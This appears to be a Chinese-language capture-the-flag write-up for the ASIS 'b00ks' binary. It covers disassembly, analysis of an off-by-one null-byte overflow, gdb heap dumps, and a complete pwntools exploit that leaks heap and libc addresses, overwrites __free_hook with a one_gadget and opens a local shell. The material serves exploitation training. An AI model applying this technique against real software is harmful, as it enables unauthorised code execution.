$ file b00ks
b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec -f b00ks
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 2 b00ks
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
64 位程序，开启了 FULL RELRO、NX 和 PIE。
在 Ubuntu 16.04 上玩一下：
$ ./b00ks
Welcome to ASISCTF book library
Enter author name: AAAA
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1
Enter book name size: 5
Enter book name (Max 32 chars): BBBBB
Enter book description size: 5
Enter book description: CCCCC
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 3
Enter the book id you want to edit: 1
Enter new book description: DDDDD
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 4
ID: 1
Name: BBBBB
Description: DDDDD
Author: AAAA
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 2
Enter the book id you want to delete: 1
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 5
Enter author name: EEEE
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 6
Thanks to use our library software
程序让我们先输入一个 auther name，然后进入菜单，可以新建、删除、修改和打印一个 book，还可以对 author name 进行修改。
[0x000008e0]> pdf @ sub.Enter_author_name:_b6d
/ (fcn) sub.Enter_author_name:_b6d 80
| sub.Enter_author_name:_b6d ();
| ; CALL XREF from main (0x122f)
| ; CALL XREF from main (+0xe0)
| 0x00000b6d push rbp
| 0x00000b6e mov rbp, rsp
| 0x00000b71 lea rdi, str.Enter_author_name: ; 0x13fb ; "Enter author name: " ; const char *format
| 0x00000b78 mov eax, 0
| 0x00000b7d call sym.imp.printf ; int printf(const char *format)
| 0x00000b82 lea rax, [0x00202018] ; "@ "
| 0x00000b89 mov rax, qword [rax]
| 0x00000b8c mov esi, 0x20 ; "@" ; void *buf
| 0x00000b91 mov rdi, rax ; int fildes
| 0x00000b94 call sub.read_9f5 ; 调用 read_9f5([0x00202018], 0x20) 读入 author name
| 0x00000b99 test eax, eax
| ,=< 0x00000b9b je 0xbb6
| | 0x00000b9d lea rdi, str.fail_to_read_author_name ; 0x140f ; "fail to read author_name" ; const char *format
| | 0x00000ba4 mov eax, 0
| | 0x00000ba9 call sym.imp.printf ; int printf(const char *format)
| | 0x00000bae nop
| | 0x00000baf mov eax, 1
| ,==< 0x00000bb4 jmp 0xbbb
| || ; CODE XREF from sub.Enter_author_name:_b6d (0xb9b)
| |`-> 0x00000bb6 mov eax, 0
| | ; CODE XREF from sub.Enter_author_name:_b6d (0xbb4)
| `--> 0x00000bbb pop rbp
\ 0x00000bbc ret
[0x000008e0]> px 8 @ 0x00202018
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00202018 4020 2000 0000 0000 @ .....
程序首先调用函数 read_9f5() 读入 author name 到 [0x00202018]，即 0x00202040。
函数 read_9f5() 如下：
[0x000008e0]> pdf @ sub.read_9f5
/ (fcn) sub.read_9f5 130
| sub.read_9f5 (int arg1, signed int arg2);
| ; var signed int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_ch @ rbp-0xc
| ; var void *buf @ rbp-0x8
| ; CALL XREF from sub.Enter_author_name:_b6d (0xb94)
| ; CALL XREF from sub.Enter_the_book_id_you_want_to_edit:_e17 (0xf2b)
| ; CALL XREFS from sub.Enter_book_name_size:_f55 (0xff8, 0x10b2)
| 0x000009f5 push rbp
| 0x000009f6 mov rbp, rsp
| 0x000009f9 sub rsp, 0x20
| 0x000009fd mov qword [local_18h], rdi ; arg1
| 0x00000a01 mov dword [local_1ch], esi ; arg2
| 0x00000a04 cmp dword [local_1ch], 0
| ,=< 0x00000a08 jg 0xa11 ; arg2 大于 0 时继续
| | 0x00000a0a mov eax, 0
| ,==< 0x00000a0f jmp 0xa75 ; 否则退出
| |`-> 0x00000a11 mov rax, qword [local_18h] ; rax = [arg1] 取第一个参数
| | 0x00000a15 mov qword [buf], rax ; [buf] = rax = [arg1]
| | 0x00000a19 mov dword [local_ch], 0 ; 循环计数 i 初始为 0
| | ; CODE XREF from sub.read_9f5 (0xa67)
| |.-> 0x00000a20 mov rax, qword [buf] ; rax = [buf]
| |: 0x00000a24 mov edx, 1 ; size_t nbyte
| |: 0x00000a29 mov rsi, rax ; void *buf
| |: 0x00000a2c mov edi, 0 ; int fildes
| |: 0x00000a31 mov eax, 0
| |: 0x00000a36 call sym.imp.read ; 调用 read(0, [buf], 1) 读入一个字节
| |: 0x00000a3b cmp eax, 1
| ,===< 0x00000a3e je 0xa47
| ||: 0x00000a40 mov eax, 1
| ,====< 0x00000a45 jmp 0xa75
| |||: ; CODE XREF from sub.read_9f5 (0xa3e)
| |`---> 0x00000a47 mov rax, qword [buf] ; rax = [buf]
| | |: 0x00000a4b movzx eax, byte [rax] ; eax = [rax] 取出最后一个字节
| | |: 0x00000a4e cmp al, 0xa
| |,===< 0x00000a50 jne 0xa54 ; 该字节不为换行符 '\n'
| ,=====< 0x00000a52 jmp 0xa69
| ||||: ; CODE XREF from sub.read_9f5 (0xa50)
| ||`---> 0x00000a54 add qword [buf], 1 ; [buf] += 1
| || |: 0x00000a59 mov eax, dword [local_ch]
| || |: 0x00000a5c cmp eax, dword [local_1ch]
| ||,===< 0x00000a5f jne 0xa63 ; 循环计数 i 与 arg2 不相等时
| ,======< 0x00000a61 jmp 0xa69
| |||||: ; CODE XREF from sub.read_9f5 (0xa5f)
| |||`---> 0x00000a63 add dword [local_ch], 1 ; 循环计数 i 加 1
| ||| |`=< 0x00000a67 jmp 0xa20 ; 继续循环
| ||| | ; CODE XREFS from sub.read_9f5 (0xa52, 0xa61)
| ``-----> 0x00000a69 mov rax, qword [buf] ; rax = [buf]
| | | 0x00000a6d mov byte [rax], 0 ; [rax] = 0 将最后一个字节设置为 '0x00'
| | | 0x00000a70 mov eax, 0
| | | ; CODE XREFS from sub.read_9f5 (0xa0f, 0xa45)
| `-`--> 0x00000a75 leave
\ 0x00000a76 ret
该函数存在单字节溢出漏洞，例如在读入 author name 的时候，arg2 为 0x20，但却可以读入最多 0x21 个字节，读入完成后将最后一个字节设置为 “\x00”，即溢出了一个字节的 null byte。
[0x000008e0]> pdf @ sub.Enter_book_name_size:_f55
/ (fcn) sub.Enter_book_name_size:_f55 634
| sub.Enter_book_name_size:_f55 ();
| ; var size_t size @ rbp-0x20
| ; var unsigned int local_1ch @ rbp-0x1c
| ; var void *local_18h @ rbp-0x18
| ; var void *fildes @ rbp-0x10
| ; var void *ptr @ rbp-0x8
| ; CALL XREF from main (+0xb0)
| 0x00000f55 push rbp
| 0x00000f56 mov rbp, rsp
| 0x00000f59 sub rsp, 0x20
| 0x00000f5d mov dword [size], 0
| 0x00000f64 lea rdi, str.Enter_book_name_size: ; 0x150f ; "\nEnter book name size: " ; const char *format
| 0x00000f6b mov eax, 0
| 0x00000f70 call sym.imp.printf ; int printf(const char *format)
| 0x00000f75 lea rax, [size]
| 0x00000f79 mov rsi, rax
| 0x00000f7c lea rdi, [0x000013f8] ; "%d" ; const char *format
| 0x00000f83 mov eax, 0
| 0x00000f88 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 name_size 到 [size]
| 0x00000f8d mov eax, dword [size]
| 0x00000f90 test eax, eax
| ,=< 0x00000f92 jns 0xfaa ; [size] 大于等于 0
| | 0x00000f94 lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format
| | 0x00000f9b mov eax, 0
| | 0x00000fa0 call sym.imp.printf ; int printf(const char *format)
| ,==< 0x00000fa5 jmp 0x118f
| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0xf92)
| |`-> 0x00000faa lea rdi, str.Enter_book_name__Max_32_chars_: ; 0x1538 ; "Enter book name (Max 32 chars): " ; const char *format
| | 0x00000fb1 mov eax, 0
| | 0x00000fb6 call sym.imp.printf ; int printf(const char *format)
| | 0x00000fbb mov eax, dword [size]
| | 0x00000fbe cdqe
| | 0x00000fc0 mov rdi, rax ; size_t size
| | 0x00000fc3 call sym.imp.malloc ; 调用 malloc([size]) 为 name 分配空间
| | 0x00000fc8 mov qword [fildes], rax ; 空间地址保存到 [fildes]
| | 0x00000fcc cmp qword [fildes], 0
| |,=< 0x00000fd1 jne 0xfe9
| || 0x00000fd3 lea rdi, str.unable_to_allocate_enough_space ; 0x1560 ; "unable to allocate enough space" ; const char *format
| || 0x00000fda mov eax, 0
| || 0x00000fdf call sym.imp.printf ; int printf(const char *format)
| ,===< 0x00000fe4 jmp 0x118f
| ||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0xfd1)
| ||`-> 0x00000fe9 mov eax, dword [size]
| || 0x00000fec lea edx, [rax - 1]
| || 0x00000fef mov rax, qword [fildes]
| || 0x00000ff3 mov esi, edx ; void *buf
| || 0x00000ff5 mov rdi, rax ; int fildes
| || 0x00000ff8 call sub.read_9f5 ; 调用 read_9f5([fildes], [size]-1) 读入 name
| || 0x00000ffd test eax, eax
| ||,=< 0x00000fff je 0x1017
| ||| 0x00001001 lea rdi, str.fail_to_read_name ; 0x1580 ; "fail to read name" ; const char *format
| ||| 0x00001008 mov eax, 0
| ||| 0x0000100d call sym.imp.printf ; int printf(const char *format)
| ,====< 0x00001012 jmp 0x118f
| |||`-> 0x00001017 mov dword [size], 0 ; 将 [size] 置 0
| ||| 0x0000101e lea rdi, str.Enter_book_description_size: ; 0x1598 ; "\nEnter book description size: " ; const char *format
| ||| 0x00001025 mov eax, 0
| ||| 0x0000102a call sym.imp.printf ; int printf(const char *format)
| ||| 0x0000102f lea rax, [size]
| ||| 0x00001033 mov rsi, rax
| ||| 0x00001036 lea rdi, [0x000013f8] ; "%d" ; const char *format
| ||| 0x0000103d mov eax, 0
| ||| 0x00001042 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 description_size 到 [size]
| ||| 0x00001047 mov eax, dword [size]
| ||| 0x0000104a test eax, eax
| |||,=< 0x0000104c jns 0x1064 ; [size] 大于等于 0
| |||| 0x0000104e lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format
| |||| 0x00001055 mov eax, 0
| |||| 0x0000105a call sym.imp.printf ; int printf(const char *format)
| ,=====< 0x0000105f jmp 0x118f
| ||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x104c)
| ||||`-> 0x00001064 mov eax, dword [size]
| |||| 0x00001067 cdqe
| |||| 0x00001069 mov rdi, rax ; size_t size
| |||| 0x0000106c call sym.imp.malloc ; 调用 malloc([size]) 为 description 分配空间
| |||| 0x00001071 mov qword [ptr], rax ; 空间地址保存到 [ptr]
| |||| 0x00001075 cmp qword [ptr], 0
| ||||,=< 0x0000107a jne 0x1092
| ||||| 0x0000107c lea rdi, str.Fail_to_allocate_memory ; 0x15b7 ; "Fail to allocate memory" ; const char *format
| ||||| 0x00001083 mov eax, 0
| ||||| 0x00001088 call sym.imp.printf ; int printf(const char *format)
| ,======< 0x0000108d jmp 0x118f
| |||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x107a)
| |||||`-> 0x00001092 lea rdi, str.Enter_book_description: ; 0x15cf ; "Enter book description: " ; const char *format
| ||||| 0x00001099 mov eax, 0
| ||||| 0x0000109e call sym.imp.printf ; int printf(const char *format)
| ||||| 0x000010a3 mov eax, dword [size]
| ||||| 0x000010a6 lea edx, [rax - 1]
| ||||| 0x000010a9 mov rax, qword [ptr]
| ||||| 0x000010ad mov esi, edx ; void *buf
| ||||| 0x000010af mov rdi, rax ; int fildes
| ||||| 0x000010b2 call sub.read_9f5 ; 调用 read_9f5([ptr], [size] -1) 读入 description
| ||||| 0x000010b7 test eax, eax
| |||||,=< 0x000010b9 je 0x10d1
| |||||| 0x000010bb lea rdi, str.Unable_to_read_description ; 0x15e8 ; "Unable to read description" ; const char *format
| |||||| 0x000010c2 mov eax, 0
| |||||| 0x000010c7 call sym.imp.printf ; int printf(const char *format)
| ,=======< 0x000010cc jmp 0x118f
| ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10b9)
| ||||||`-> 0x000010d1 mov eax, 0
| |||||| 0x000010d6 call fcn.00000b24 ; 判断 book_num 是否达到上限 20
| |||||| 0x000010db mov dword [local_1ch], eax ; 返回值 eax 为该 book 在 books 里的序号
| |||||| 0x000010de cmp dword [local_1ch], 0xffffffffffffffff
| ||||||,=< 0x000010e2 jne 0x10fa
| ||||||| 0x000010e4 lea rdi, str.Library_is_full ; 0x1603 ; "Library is full" ; const char *format
| ||||||| 0x000010eb mov eax, 0
| ||||||| 0x000010f0 call sym.imp.printf ; int printf(const char *format)
| ========< 0x000010f5 jmp 0x118f
| ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10e2)
| ||||||`-> 0x000010fa mov edi, 0x20 ; "@" ; size_t size
| |||||| 0x000010ff call sym.imp.malloc ; 调用 malloc(0x20) 为 book 结构体分配空间
| |||||| 0x00001104 mov qword [local_18h], rax ; 空间地址保存到 [local_18h]
| |||||| 0x00001108 cmp qword [local_18h], 0
| ||||||,=< 0x0000110d jne 0x1122
| ||||||| 0x0000110f lea rdi, str.Unable_to_allocate_book_struct ; 0x1618 ; "Unable to allocate book struct" ; const char *format
| ||||||| 0x00001116 mov eax, 0
| ||||||| 0x0000111b call sym.imp.printf ; int printf(const char *format)
| ========< 0x00001120 jmp 0x118f
| ||||||`-> 0x00001122 mov eax, dword [size] ; 取出 description_size
| |||||| 0x00001125 mov edx, eax
| |||||| 0x00001127 mov rax, qword [local_18h] ; 取出 book 结构体
| |||||| 0x0000112b mov dword [rax + 0x18], edx ; book->description_size = [size]
| |||||| 0x0000112e lea rax, [0x00202010] ; rax = 0x00202010
| |||||| 0x00001135 mov rax, qword [rax] ; rax = 0x00202060 取出 books 数组地址
| |||||| 0x00001138 mov edx, dword [local_1ch]
| |||||| 0x0000113b movsxd rdx, edx
| |||||| 0x0000113e shl rdx, 3
| |||||| 0x00001142 add rdx, rax ; rdx 为 books 数组中该 book 的地址
| |||||| 0x00001145 mov rax, qword [local_18h]
| |||||| 0x00001149 mov qword [rdx], rax ; books[rdx] = book 将 book 地址放入 books 数组
| |||||| 0x0000114c mov rax, qword [local_18h]
| |||||| 0x00001150 mov rdx, qword [ptr]
| |||||| 0x00001154 mov qword [rax + 0x10], rdx ; book->description = [ptr]
| |||||| 0x00001158 mov rax, qword [local_18h]
| |||||| 0x0000115c mov rdx, qword [fildes]
| |||||| 0x00001160 mov qword [rax + 8], rdx ; book->name = [fildes]
| |||||| 0x00001164 lea rax, [0x00202024]
| |||||| 0x0000116b mov eax, dword [rax] ; 取出 book_num
| |||||| 0x0000116d lea edx, [rax + 1] ; edx = book_num + 1
| |||||| 0x00001170 lea rax, [0x00202024]
| |||||| 0x00001177 mov dword [rax], edx ; 放回新的 book_num
| |||||| 0x00001179 lea rax, [0x00202024]
| |||||| 0x00001180 mov edx, dword [rax]
| |||||| 0x00001182 mov rax, qword [local_18h]
| |||||| 0x00001186 mov dword [rax], edx ; book->id = book_num
| |||||| 0x00001188 mov eax, 0
| ||||||,=< 0x0000118d jmp 0x11cd
| ||||||| ; XREFS: CODE 0x00000fa5 CODE 0x00000fe4 CODE 0x00001012 CODE 0x0000105f CODE 0x0000108d CODE 0x000010cc
| ||||||| ; XREFS: CODE 0x000010f5 CODE 0x00001120
| ``````--> 0x0000118f cmp qword [fildes], 0 ; 释放掉一些指针
| ,==< 0x00001194 je 0x11a2
| || 0x00001196 mov rax, qword [fildes]
| || 0x0000119a mov rdi, rax ; void *ptr
| || 0x0000119d call sym.imp.free ; free([fildes])
| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x1194)
| `--> 0x000011a2 cmp qword [ptr], 0
| ,==< 0x000011a7 je 0x11b5
| || 0x000011a9 mov rax, qword [ptr]
| || 0x000011ad mov rdi, rax ; void *ptr
| || 0x000011b0 call sym.imp.free ; free([ptr])
| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11a7)
| `--> 0x000011b5 cmp qword [local_18h], 0
| ,==< 0x000011ba je 0x11c8
| || 0x000011bc mov rax, qword [local_18h]
| || 0x000011c0 mov rdi, rax ; void *ptr
| || 0x000011c3 call sym.imp.free ; free([local_18h])
| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11ba)
| `--> 0x000011c8 mov eax, 1
| | ; CODE XREF from sub.Enter_book_name_size:_f55 (0x118d)
| `-> 0x000011cd leave
\ 0x000011ce ret
[0x000008e0]> px 8 @ 0x00202010
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00202010 6020 2000 0000 0000 ` .....
Create 过程是首先在堆上为 name 分配空间，然后为 description 分配空间，最后为 book 结构体分配空间。其中 name 和 description 的大小是由输入控制的，book 结构体则固定为 0x20 字节。
通过分析可以得到下面的数据结构：
struct book {
int id;
char *name;
char *description;
char description_size;
} book;
struct book *books[20];其中 books 数组的起始地址为 0x00202060。
现在我们已经知道漏洞点是在读入 author name 的时候存在一个 off-by-one 漏洞。另外由于 author name 和 books 之间距离正好为 0x00202060 - 0x00202040 = 0x20，并且 books 是在 author name 之后创建，所以如果 author name 恰好为 0x20 个字节，那么在 Print 的时候存在信息泄露。接下来如果对 author name 进行修改，且仍然为 0x20 字节，则溢出的一个空字节将覆盖掉 books[0] 的低位字节。
思路如下：
- 创建两个 book，其中要使第二个 book 的 name 和 description 通过 mmap 分配（请求一块很大的空间），这是因为 mmap 分配的空间与 libc 基址存在固定关系，后续将通过泄露这些地址得到 libc 基址。
- 通过 Print，利用信息泄露漏洞得到 book1 在 heap 上的地址，从而计算得到 book2 的地址。
- 通过 Edit 在 book1->description 中创建一个 fake book，其 fake->description 指向 book2->name。
- 通过 Change author name 造成空字节溢出，使 books[0] 指向伪造的 fake book。
- 再次通过 Print 即可打印出 book2->name，这是一个通过 mmap 得到的指针，于是计算出 libc 基址。
- 先 Edit 操作 fake book，将 book2->description 修改为 __free_hook 的地址，然后 Edit 操作 book2，即可将 __free_hook 修改为 one_gadget。
- 此时 Delete book2，即可执行 one_gadget 获得 shell。
def leak_heap():
global book2_addr
io.sendlineafter("name: ", "A" * 0x20)
Create(0xd0, "AAAA", 0x20, "AAAA") # book1
Create(0x21000, "AAAA", 0x21000, "AAAA") # book2
Print()
io.recvuntil("A"*0x20)
book1_addr = u64(io.recvn(6).ljust(8, "\x00"))
book2_addr = book1_addr + 0x30
log.info("book2 address: 0x%x" % book2_addr)创建两个 book，此时内存布局如下：
gdb-peda$ x/8gx 0x555555756040
0x555555756040: 0x4141414141414141 0x4141414141414141 <-- author name
0x555555756050: 0x4141414141414141 0x4141414141414141
0x555555756060: 0x0000555555758130 0x0000555555758160 <-- books
0x555555756070: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010: 0x0000000000000000 0x00000000000000e1 <-- book1->name
0x555555758020: 0x0000000041414141 0x0000000000000000
0x555555758030: 0x0000000000000000 0x0000000000000000
0x555555758040: 0x0000000000000000 0x0000000000000000
0x555555758050: 0x0000000000000000 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000000
0x555555758070: 0x0000000000000000 0x0000000000000000
0x555555758080: 0x0000000000000000 0x0000000000000000
0x555555758090: 0x0000000000000000 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000000
0x5555557580b0: 0x0000000000000000 0x0000000000000000
0x5555557580c0: 0x0000000000000000 0x0000000000000000
0x5555557580d0: 0x0000000000000000 0x0000000000000000
0x5555557580e0: 0x0000000000000000 0x0000000000000000
0x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- book1->description
0x555555758100: 0x0000000041414141 0x0000000000000000
0x555555758110: 0x0000000000000000 0x0000000000000000
0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book1
0x555555758130: 0x0000000000000001 0x0000555555758020
0x555555758140: 0x0000555555758100 0x0000000000000020
0x555555758150: 0x0000000000000000 0x0000000000000031 <-- book2
0x555555758160: 0x0000000000000002 0x00007ffff7fd2010
0x555555758170: 0x00007ffff7fb0010 0x0000000000021000
0x555555758180: 0x0000000000000000 0x0000000000020e81
0x555555758190: 0x0000000000000000 0x0000000000000000
可以看到 book2 通过 mmap 分配的两个指针并不是指向 heap，而是与 libc 有某种固定关系：
gdb-peda$ vmmap libc
Start End Perm Name
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /home/firmy/b00ks/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /home/firmy/b00ks/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /home/firmy/b00ks/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /home/firmy/b00ks/libc-2.23.so
gdb-peda$ vmmap mapped
Start End Perm Name
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p mapped
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
gdb-peda$ vmmap heap
Start End Perm Name
0x0000555555757000 0x0000555555779000 rw-p [heap]
def leak_libc():
global libc_base
fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
Edit(1, fake_book)
Change("A" * 0x20)
Print()
io.recvuntil("Name: ")
leak_addr = u64(io.recvn(6).ljust(8, "\x00"))
libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base
log.info("libc address: 0x%x" % libc_base)gdb-peda$ x/8gx 0x555555756040
0x555555756040: 0x4141414141414141 0x4141414141414141
0x555555756050: 0x4141414141414141 0x4141414141414141
0x555555756060: 0x0000555555758100 0x0000555555758160 <-- books[0]
0x555555756070: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010: 0x0000000000000000 0x00000000000000e1
0x555555758020: 0x0000000041414141 0x0000000000000000
0x555555758030: 0x0000000000000000 0x0000000000000000
0x555555758040: 0x0000000000000000 0x0000000000000000
0x555555758050: 0x0000000000000000 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000000
0x555555758070: 0x0000000000000000 0x0000000000000000
0x555555758080: 0x0000000000000000 0x0000000000000000
0x555555758090: 0x0000000000000000 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000000
0x5555557580b0: 0x0000000000000000 0x0000000000000000
0x5555557580c0: 0x0000000000000000 0x0000000000000000
0x5555557580d0: 0x0000000000000000 0x0000000000000000
0x5555557580e0: 0x0000000000000000 0x0000000000000000
0x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- fake book
0x555555758100: 0x0000000000000001 0x0000555555758168
0x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description
0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book1
0x555555758130: 0x0000000000000001 0x0000555555758020
0x555555758140: 0x0000555555758100 0x0000000000000020
0x555555758150: 0x0000000000000000 0x0000000000000031 <-- book2
0x555555758160: 0x0000000000000002 0x00007ffff7fd2010 <-- book2->name
0x555555758170: 0x00007ffff7fb0010 0x0000000000021000
0x555555758180: 0x0000000000000000 0x0000000000020e81
0x555555758190: 0x0000000000000000 0x0000000000000000
接下来先是伪造 fake book，然后通过空字节溢出，修改了 books[0] 的低位字节，此时它指向了 fake book。而 fake->description 指向了 book2->name。
通过 Print 即可打印出 book2->name，进而计算出 libc 基址。
def overwrite():
free_hook = libc.symbols['__free_hook'] + libc_base
one_gadget = libc_base + 0x4526a
fake_book = p64(free_hook) * 2
Edit(1, fake_book)
fake_book = p64(one_gadget)
Edit(2, fake_book)依次修改 fake book 和 book2，最终将 __free_hook 修改为 one_gadget：
gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010: 0x0000000000000000 0x00000000000000e1
0x555555758020: 0x0000000041414141 0x0000000000000000
0x555555758030: 0x0000000000000000 0x0000000000000000
0x555555758040: 0x0000000000000000 0x0000000000000000
0x555555758050: 0x0000000000000000 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000000
0x555555758070: 0x0000000000000000 0x0000000000000000
0x555555758080: 0x0000000000000000 0x0000000000000000
0x555555758090: 0x0000000000000000 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000000
0x5555557580b0: 0x0000000000000000 0x0000000000000000
0x5555557580c0: 0x0000000000000000 0x0000000000000000
0x5555557580d0: 0x0000000000000000 0x0000000000000000
0x5555557580e0: 0x0000000000000000 0x0000000000000000
0x5555557580f0: 0x0000000000000000 0x0000000000000031
0x555555758100: 0x0000000000000001 0x0000555555758168
0x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description
0x555555758120: 0x0000000000000000 0x0000000000000031
0x555555758130: 0x0000000000000001 0x0000555555758020
0x555555758140: 0x0000555555758100 0x0000000000000020
0x555555758150: 0x0000000000000000 0x0000000000000031
0x555555758160: 0x0000000000000002 0x00007ffff7dd37a8
0x555555758170: 0x00007ffff7dd37a8 0x0000000000021000 <-- book2->description
0x555555758180: 0x0000000000000000 0x0000000000020e81
0x555555758190: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd37a8
0x7ffff7dd37a8 <__free_hook>: 0x00007ffff7a5226a
gdb-peda$ pdisass 0x00007ffff7a5226a /7
0x7ffff7a5226a: mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8
0x7ffff7a52271: lea rdi,[rip+0x147adf] # 0x7ffff7b99d57
0x7ffff7a52278: lea rsi,[rsp+0x30]
0x7ffff7a5227d: mov DWORD PTR [rip+0x381219],0x0 # 0x7ffff7dd34a0
0x7ffff7a52287: mov DWORD PTR [rip+0x381213],0x0 # 0x7ffff7dd34a4
0x7ffff7a52291: mov rdx,QWORD PTR [rax]
0x7ffff7a52294: call 0x7ffff7ad9770 <execve>
def pwn():
Delete(2)
io.interactive()最后 Delete book2，获得 shell。
开启 ASLR，Bingo!!!
$ python exp.py
[+] Starting local process './b00ks': pid 4879
[*] book2 address: 0x562341a04160
[*] libc address: 0x7f87e9425000
[*] Switching to interactive mode
$ whoami
firmy
完整的 exp 如下：
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./b00ks'], env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF('libc-2.23.so')
def Create(nsize, name, dsize, desc):
io.sendlineafter("> ", '1')
io.sendlineafter("name size: ", str(nsize))
io.sendlineafter("name (Max 32 chars): ", name)
io.sendlineafter("description size: ", str(dsize))
io.sendlineafter("description: ", desc)
def Delete(idx):
io.sendlineafter("> ", '2')
io.sendlineafter("delete: ", str(idx))
def Edit(idx, desc):
io.sendlineafter("> ", '3')
io.sendlineafter("edit: ", str(idx))
io.sendlineafter("description: ", desc)
def Print():
io.sendlineafter("> ", '4')
def Change(name):
io.sendlineafter("> ", '5')
io.sendlineafter("name: ", name)
def leak_heap():
global book2_addr
io.sendlineafter("name: ", "A" * 0x20)
Create(0xd0, "AAAA", 0x20, "AAAA") # book1
Create(0x21000, "AAAA", 0x21000, "AAAA") # book2
Print()
io.recvuntil("A"*0x20)
book1_addr = u64(io.recvn(6).ljust(8, "\x00"))
book2_addr = book1_addr + 0x30
log.info("book2 address: 0x%x" % book2_addr)
def leak_libc():
global libc_base
fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
Edit(1, fake_book)
Change("A" * 0x20)
Print()
io.recvuntil("Name: ")
leak_addr = u64(io.recvn(6).ljust(8, "\x00"))
libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base
log.info("libc address: 0x%x" % libc_base)
def overwrite():
free_hook = libc.symbols['__free_hook'] + libc_base
one_gadget = libc_base + 0x4526a
fake_book = p64(free_hook) * 2
Edit(1, fake_book)
fake_book = p64(one_gadget)
Edit(2, fake_book)
def pwn():
Delete(2)
io.interactive()
if __name__ == "__main__":
leak_heap()
leak_libc()
overwrite()
pwn()